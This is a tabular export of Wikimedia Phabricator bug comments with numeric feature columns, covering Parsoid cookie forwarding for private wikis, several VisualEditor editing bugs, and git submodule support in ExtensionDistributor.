https://gerrit.wikimedia.org/r/91111",,,1383678031,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.666666666666667,0.9047619047619048,"Change 91111 merged by jenkins-bot:
Support private wikis by forwarding Cookie: headers to Parsoid

GERRIT_URL"
212983,Parsoid should support passing on an authenticated user's read right (when MW API supports that),Closing again.,,,1382479475,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,4.333333333333333,1.0,Closing again.
212980,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 91111 had a related patch set uploaded by Jforrester:
Support private wikis by forwarding Cookie: headers to Parsoid

https://gerrit.wikimedia.org/r/91111",,,1382404256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.916666666666667,0.9166666666666666,"Change 91111 had a related patch set uploaded by Jforrester:
Support private wikis by forwarding Cookie: headers to Parsoid

GERRIT_URL"
212975,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Cookies are now forwarded, and caching is disabled if a cookie is set. Closing this bug as fixed. A content API will have to do its own auth.",,,1381966182,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,12.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5625,0.90625,"Cookies are now forwarded, and caching is disabled if a cookie is set. Closing this bug as fixed. A content API will have to do its own auth."
212968,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 85414 merged by jenkins-bot:
Bug 44483: Forward Cookie header to API

https://gerrit.wikimedia.org/r/85414",,,1381965890,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,"Change 85414 merged by jenkins-bot:
Bug 44483: Forward Cookie header to API

GERRIT_URL"
212961,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"(In reply to comment #4)
> Random idea:
> 
> Could Parsoid be made private (already is, though last I checked it still
> has a
> public IP) and use an internal API instead of the public API. Then the
> responsibility for user rights lays in MediaWiki land, and when the request
> is
> in Parsoid we can assume it is authenticated and thus Parsoid can have
> unrestricted access.

That is what we'll have to do in the longer term once we store HTML. Parsoid might not even be involved in that case, only the content API / storage is. See https://www.mediawiki.org/wiki/User:GWicke/Notes/Storage for the current WIP on that.",,,1381260438,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,24.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,3.0,11.0,13.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.1971830985915495,0.647887323943662,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is what we'll have to do in the longer term once we store HTML. Parsoid might not even be involved in that case, only the content API / storage is. See URL for the current WIP on that."
212956,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Random idea:

Could Parsoid be made private (already is, though last I checked it still has a public IP) and use an internal API instead of the public API. Then the responsibility for user rights lays in MediaWiki land, and when the request is in Parsoid we can assume it is authenticated and thus Parsoid can have unrestricted access.",,,1380024239,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,3.0,0.0,9.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,6.0,16.0,3.0,4.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,7.0,7.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.149253731343284,0.7761194029850746,"Random idea:

Could Parsoid be made private (already is, though last I checked it still has a public IP) and use an internal API instead of the public API. Then the responsibility for user rights lays in MediaWiki land, and when the request is in Parsoid we can assume it is authenticated and thus Parsoid can have unrestricted access."
212949,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 85414 had a related patch set uploaded by GWicke:
WIP Bug 44483: Forward Cookie header to API

https://gerrit.wikimedia.org/r/85414",,,1379754726,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,35.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.9565217391304348,"Change 85414 had a related patch set uploaded by GWicke:
WIP Bug 44483: Forward Cookie header to API

GERRIT_URL"
212943,Parsoid should support passing on an authenticated user's read right (when MW API supports that),*** Bug 44313 has been marked as a duplicate of this bug. ***,,,1360207511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 44313 has been marked as a duplicate of this bug. ***
212937,Parsoid should support passing on an authenticated user's read right (when MW API supports that),Passing on the cookie header from the VisualEditor extension to Parsoid and then from Parsoid back to the API might be enough to enable this. Definitely worth a try.,,,1359588905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,19.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.419354838709677,0.7741935483870968,Passing on the cookie header from the VisualEditor extension to Parsoid and then from Parsoid back to the API might be enough to enable this. Definitely worth a try.
46340,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],"Deleting multiple lines of selected text

When trying to delete a line of added text, the editor failed. See screenshot.

When reviewing the changes I get an empty ""Latest revision"" and empty ""Your text"". Tried with Chrome and Firefox. When saving, the changes are not committed either.

When trying to delete two lines (see screenshot on the right side), only one line is marked for deletion:

    - Mostly active on [[:bs:Korisnik:Edinwiki|bs-wiki]].

When selecting multiple lines in the same way, it seems that each time only the first line is selected.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://en.wikipedia.org/wiki/User:Edinwiki

**Attached**: {F10938}",Medium,50.0,1359113220,1366396774.0,PHID-USER-qaslvze35cdv2crgkxjb,False,,False,PHID-TASK-zjrdtyysctdr2ogcnult,task_description,resolved,True,c1,1,False,False,True,-23,,0.5,0.0,0.0,1.0,0.5,7.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,5.5,5.5,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,12.5,3.5,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.5,5.5,3.5,0.0,2.0,0.0,1.5,0.0,2.5,1.0,0.0,3.0,0.0,0.0,2.0,3.6397943037974683,0.628876582278481,"Deleting multiple lines of selected text

When trying to delete a line of added text, the editor failed. See screenshot.

When reviewing the changes I get an empty ""Latest revision"" and empty ""Your text"". Tried with Chrome and Firefox. When saving, the changes are not committed either.

When trying to delete two lines (see screenshot on the right side), only one line is marked for deletion:

    - Mostly active on [[:bs:Korisnik:Edinwiki|bs-wiki]].

When selecting multiple lines in the same way, it seems that each time only the first line is selected.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL

**Attached**: {F10938}"
228472,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],This is now fixed given the Parsoid update. Sorry for the delay!,,,1366396774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zjrdtyysctdr2ogcnult,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.9285714285714286,This is now fixed given the Parsoid update. Sorry for the delay!
228466,VisualEditor: Parsoid (?) issues in deleting text on [[W:User:Edinwiki]],This appears to be a Parsoid issue - to recheck when Parsoid service is updated in live.,,,1360207666,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zjrdtyysctdr2ogcnult,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,17.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,This appears to be a Parsoid issue - to recheck when Parsoid service is updated in live.
46086,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,"1. Type 2 spaces
2. Move the cursor between the two spaces
3. Press link button or (command|control)+k
4. Type text for target (if in mw integration you can also choose a suggested target)
5. Press enter (or click outside the inspector, or press esc)
6. See that the target text was inserted, but not annotated

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1358470200,1360613038.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-3otirho2qtinxa5jdm5c,task_description,resolved,True,c1,1,False,False,True,-24,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.608695652173913,0.6195652173913043,"1. Type 2 spaces
2. Move the cursor between the two spaces
3. Press link button or (command|control)+k
4. Type text for target (if in mw integration you can also choose a suggested target)
5. Press enter (or click outside the inspector, or press esc)
6. See that the target text was inserted, but not annotated

--------------------------
**Version**: unspecified
**Severity**: normal"
214078,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,Gerrit patch merged.,,,1360613038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3otirho2qtinxa5jdm5c,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Gerrit patch merged.
214075,VisualEditor: Link inspector doesn't function properly when opened in location surrounded by word boundaries,Patched in: https://gerrit.wikimedia.org/r/#/c/47822/,,,1360198986,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-3otirho2qtinxa5jdm5c,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Patched in: URL
46078,VisualEditor: Cursor jumps when backspacing character after alien node,"Steps to reproduce:
1. Find a paragraph that has an inline node (alien or entity) in it, but not at the end
2. Move the cursor to the end of the paragraph
3. Repeatedly press backspace
4. When there is only one remaining character after the inline node, pressing backspace will remove that character (correct) and move the cursor to the beginning of the line (bad)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1358461560,1371780950.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-suuligy6idoz5fgoqmha,task_description,resolved,True,c1,1,False,False,True,-24,,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,2.5,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,13.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,1.0,4.5,0.5,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,0.5,5.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.5,3.717843137254902,0.7323529411764705,"Steps to reproduce:
1. Find a paragraph that has an inline node (alien or entity) in it, but not at the end
2. Move the cursor to the end of the paragraph
3. Repeatedly press backspace
4. When there is only one remaining character after the inline node, pressing backspace will remove that character (correct) and move the cursor to the beginning of the line (bad)

--------------------------
**Version**: unspecified
**Severity**: normal"
213622,VisualEditor: Cursor jumps when backspacing character after alien node,I believe that this is now fixed with the new deletion model.,,,1371780950,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-suuligy6idoz5fgoqmha,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,1.0,I believe that this is now fixed with the new deletion model.
46022,"Include git submodules, by default, or optionally","Some extensions, such as Extension:GuidedTour, require git submodules.

It would be a very useful enhancement if ExtensionDistributor included these in the download, by default or optionally.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: https://www.mediawiki.org/wiki/Extension_talk:ExtensionDistributor#Doesn.27t_do_submodules",Medium,50.0,1358310660,1406830829.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_description,resolved,True,c1,1,True,False,False,-24,,2.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.183333333333334,0.6333333333333333,"Some extensions, such as Extension:GuidedTour, require git submodules.

It would be a very useful enhancement if ExtensionDistributor included these in the download, by default or optionally.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: URL"
210356,"Include git submodules, by default, or optionally","New tarball generator has been deployed, which now includes submodules.",,,1406830829,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,56,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,"New tarball generator has been deployed, which now includes submodules."
210351,"Include git submodules, by default, or optionally","(In reply to Kunal Mehta (Legoktm) from comment #3)
> I've set up an API endpoint for VisualEditor on labs:
> http://tools.wmflabs.org/extdist/?version=REL1_23&ext=VisualEditor
> 
> I don't see any submodules in GuidedTour?

Correct, we forked Guiders so there's no longer a submodule.",,,1406255839,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,11.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.3333333333333335,0.7777777777777778,"(In reply to Kunal Mehta (Legoktm) from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Correct, we forked Guiders so there's no longer a submodule."
210346,"Include git submodules, by default, or optionally","Once we switch to the new labs tarball generator, this will be fixed.",,,1405547330,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-34q3bn6uqje2mlmgmqhq,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Once we switch to the new labs tarball generator, this will be fixed."
210343,"Include git submodules, by default, or optionally","Change 146430 abandoned by Legoktm:
Support having multiple API endpoints

Reason:
We're going to just point everything to labs instead.

